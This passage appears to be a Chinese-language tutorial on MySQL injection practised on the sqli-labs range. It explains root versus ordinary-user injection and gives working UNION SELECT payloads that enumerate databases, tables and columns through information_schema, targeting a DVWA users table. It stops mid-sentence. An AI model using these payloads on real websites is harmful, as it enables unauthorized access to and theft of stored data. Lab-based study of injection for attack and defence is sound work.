MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。
使用sqlilabs靶场测试
可以看到这个用户名时是root,是最高权限,除root之外都是普通用户
1、高权限注入及低权限注入
(1)跨库查询及应用思路
原理:一个网站的注入点影响到另一个网站的数据,需要root型注入点
查看数据库:show databases;
通过’ select * from mysql.sql; '语句,查询数据库中所有数据库用户;普通用户的权限低,只有root用户可以注入到其他数据库
内置数据库 information_schema 表特性:
记录schemata库名,tables表名,columns列名
查询schemata
实现跨库注入,首先需要获得跨库的数据库的名字
- 通过SQL语句注入,获得所有数据库名字
http://127.0.0.1/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
注意:group_concat()可以获取所有的
- 获取指定dvwa数据库名下的表名信息
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘dvwa’
- 获取指定dvwa数据库名下的表名users下的列名信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
如果直接这样写,很可能把其他数据库里面的users给查询出来,需要再做一些其他添加
如下:
union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘dvwa’
跨库选择表:需